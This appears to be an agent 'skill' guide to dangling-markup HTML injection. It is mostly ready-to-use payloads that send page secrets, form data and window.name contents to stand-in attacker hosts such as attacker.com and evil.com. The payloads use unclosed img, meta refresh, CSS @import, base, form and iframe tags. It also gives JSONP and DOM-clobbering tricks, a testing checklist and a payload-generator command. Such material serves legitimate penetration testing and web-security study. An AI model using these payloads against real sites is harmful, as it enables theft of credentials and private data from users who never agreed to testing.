Dangling Markup - HTML Scriptless Injection

This skill helps you exploit HTML injection vulnerabilities when you cannot execute JavaScript (no XSS) but can inject HTML tags. These techniques are useful for:

• Exfiltrating secrets stored in clear text in HTML
• Stealing form data by redirecting submissions
• Bypassing Content Security Policy (CSP) restrictions
• Misleading script execution by manipulating the DOM
• Data exfiltration through various HTML tag attributes

When to Use This Skill

Use this skill when:

• You've found an HTML injection point but no XSS
• You need to exfiltrate data from a page with HTML injection
• You want to bypass CSP restrictions
• You need to steal or redirect form submissions
• You're testing for dangling markup vulnerabilities
• You want to manipulate page behavior without JavaScript

Core Technique

Dangling markup works by injecting incomplete HTML tags that "capture" content until the browser finds a closing quote or delimiter. The browser then sends this captured content to an attacker-controlled endpoint.

---

1. Stealing Clear Text Secrets

Using

<img>

tag

Inject an unclosed

src

attribute to capture content until the next quote:

<img src='http://attacker.com/log.php?HTML=

What happens: When the page loads, the victim's browser sends all HTML content between your injection point and the next single quote to your server.

Variations:

<img src="http://attacker.com/log.php?HTML="  <!-- Double quote version -->

Using

<meta>

refresh tag

If

<img>

is blocked by CSP, use meta refresh:

<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text='
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a='

Note: Chrome blocks HTTP URLs with

<

or

\n

characters. Try

ftp://

protocol instead.

Using CSS

@import

<style>@import '//attacker.com?'

What happens: Sends all code until it finds a

;

character.

Using

<table>

background attribute

<table background='//your-collaborator-id.burpcollaborator.net?'

Using

<base>

tag

<base target='

Note: Requires user interaction (clicking a link) because the base tag changes the domain pointed by links.

---

2. Stealing Forms

Method 1: Base tag hijacking

<base href="http://evil.com/" />

Effect: All forms with relative action paths (e.g.,

<form action='update_profile.php'>

) will submit to your malicious domain.

Method 2: Form header injection

<form action='http://evil.com/log_steal'>

Effect: Overwrites the next form header, redirecting all form data to your server.

Method 3: Button formaction attribute

<button name="xss" type="submit" formaction="https://attacker.com/steal">
  Submit
</button>

Effect: Changes where the form data is sent when clicked.

Reference: PortSwigger research on stealing passwords without bypassing CSP

---

3. Stealing Clear Text Secrets via Forms

Hidden input field injection

Combine form stealing with secret exfiltration:

<input type='hidden' name='review_body' value="

What happens: The hidden input captures all content between the opening and next closing double quote, then submits it with the form.

Option tag injection

<form action=http://attacker.com><input type="submit">Click Me</input><select name=xss><option

What happens: All data until

</option>

is found gets submitted.

---

4. Form Parameter Injection

Inject hidden fields to modify form behavior:

<form action="/change_settings.php">
  <input type="hidden" name="invite_user" value="attacker" />
  <input type="hidden" name="role" value="admin" />

Effect: Adds unexpected parameters to form submissions, potentially bypassing validation or triggering unintended actions.

---

5. Stealing via

<noscript>

Tag

Exfiltrate page content when JavaScript is disabled:

<noscript>
  <form action=http://evil.com>
    <input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value="">
    <textarea name=contents></noscript>

What happens: If the browser doesn't support/execute JavaScript, the content from injection point to bottom of page is captured and submitted.

---

6. Bypassing CSP with User Interaction

Even in highly restricted CSP environments, you can exfiltrate data with user interaction:

Step 1: Inject on target page

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Step 2: Create payload page

<script>
  if(window.name) {
    new Image().src='//attacker.com?'+encodeURIComponent(window.name);
  }
</script>

What happens: When victim clicks the link,

window.name

contains all HTML content until the next single quote. Your payload page reads and exfiltrates it.

Reference: PortSwigger research on evading CSP with DOM-based dangling markup

---

7. Misleading Script Workflow

HTML Namespace Attack

Inject an element with an ID that overwrites the legitimate one:

<input type="hidden" id="share_with" value="attacker" />

Effect: JavaScript using

document.getElementById('share_with')

gets your injected value instead of the legitimate one.

Script Namespace Attack

Create JavaScript variables via HTML attributes:

<img id="is_public" />

Effect: In some browsers (especially older IE), this creates a global JavaScript variable

is_public

that can affect application logic.

---

8. JSONP Abuse

If a JSONP interface exists, you can call arbitrary functions:

<script src='/search?q=a&call=set_sharing'></script>

Or even execute JavaScript:

<script src="/search?q=a&call=alert(1)"></script>

---

9. Iframe Abuse

Parent location manipulation

<iframe src="http://attacker.com/redirect.html"></iframe>

Where

redirect.html

contains:

<script>
  top.window.location = "https://attacker.com/hacked.html"
</script>

Mitigation: Use

sandbox='allow-scripts allow-top-navigation'

attribute.

Iframe name attribute leak

<iframe
  src="//attacker.com/leak.php?email=%22><iframe name=%27"
  onload="leakData(this.contentWindow)"></iframe>

Reference: PortSwigger research on bypassing CSP with dangling iframes

---

10. Meta Tag Abuse

Set cookies

<meta http-equiv="Set-Cookie" content="SESSID=1">

Redirect

<meta name="language" content="5;http://attacker.com" http-equiv="refresh" />

Mitigation: CSP with

http-equiv 'self'

---

11. Portal Tag Abuse

The

<portal>

tag (experimental, requires Chrome flags) can be abused:

<portal src='https://attacker.com?'

Reference: Securitum research on portal element vulnerabilities

---

12. HTML Leaks

For additional HTML-based connectivity leaks, see:

• HTTPLeaks by cure53

---

Testing Checklist

When testing for dangling markup vulnerabilities:

1. Identify HTML injection points - Look for reflected user input in HTML context
2. Test basic injection - Try

   '><img src=x onerror=alert(1)>

   to confirm HTML injection
3. Check for XSS filters - If XSS is blocked but HTML works, dangling markup may work
4. Test secret exfiltration - Use

   <img src='http://attacker.com?

   to capture content
5. Test form stealing - Inject

   <base href="http://attacker.com/">

6. Test CSP bypass - Try meta refresh and other CSP-bypassing techniques
7. Test user interaction attacks - Create clickjacking scenarios with base tag

---

Payload Generator

Use the

generate_payloads.py

script to create test payloads for different scenarios:

python scripts/generate_payloads.py --target http://attacker.com --type all

---

References

• Content Spoofing - HTML Injection
• Post-XSS by lcamtuf
• HTML Scriptless Attacks
• PortSwigger: Evading CSP with DOM-based dangling markup
• PortSwigger: Bypassing CSP with dangling iframes
• Auto Wordlists - Dangling Markup